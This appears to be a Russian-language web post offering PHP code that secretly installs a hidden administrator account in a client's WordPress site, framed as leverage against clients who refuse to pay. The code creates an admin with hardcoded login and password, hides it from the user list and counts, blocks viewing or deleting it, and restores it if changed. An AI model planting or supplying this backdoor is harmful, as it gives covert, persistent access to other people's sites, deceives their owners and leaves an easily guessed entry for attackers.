Часто случается такое, что после выполненных работ на чужом сайте, заказчик меняет пароли и отказывается платить
Чтобы себя обезопасить, мы можем создать скрытого админа в файле function.php или же лучше подключить к нему другой файл,
в котором будет этот код
Админ не удаляется даже из БД
$id = ‘5’;
— Указывает админа которого надо скрыть из списка пользователей, нужно посмотреть сколько всего пользователей и ставить своего
add_action('pre_user_query','evgen_protect_user_query');
add_filter('views_users','protect_user_count');
add_action('load-user-edit.php','misha_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function evgen_protect_user_query( $user_search ) {
$user_id = get_current_user_id();
$id = '5';
if ( is_wp_error( $id ) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count( $views ){
$html = explode('(',$views['all']);
$count = explode(')',$html[1]);
$count[0]--;
$views['all'] = $html[0].'('.$count[0].')'.$count[1];
$html = explode('(',$views['administrator']);
$count = explode(')',$html[1]);
$count[0]--;
$views['administrator'] = $html[0].'('.$count[0].')'.$count[1];
return $views;
}
function misha_protect_users_profiles() {
$user_id = get_current_user_id();
$id = '5';
if( isset( $_GET['user_id'] ) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__( 'Invalid user ID.' ) );
}
function protect_user_from_deleting(){
$id = '5';
if( isset( $_GET['user'] ) && $_GET['user']
&& isset( $_GET['action'] ) && $_GET['action'] == 'delete'
&& ( $_GET['user'] == $id || !get_userdata( $_GET['user'] ) ) )
wp_die(__( 'Invalid user ID.' ) );
}
$args = array(
'user_login' => 'dev-root',
'user_pass' => 'dev-root',
'role' => 'administrator',
'user_email' => '[email protected]'
);
if( !username_exists( $args['user_login'] ) ){
$id = wp_insert_user( $args );
update_option('5', $id);
// если мультисайт, то можно и суперадминистратора добавить
// grant_super_admin( $id );
} else {
$hidden_user = get_user_by( 'login', $args['user_login'] );
if ( $hidden_user->user_email != $args['user_email'] ) {
$id = get_option( '5' );
$args['ID'] = $id;
wp_insert_user( $args );
}
}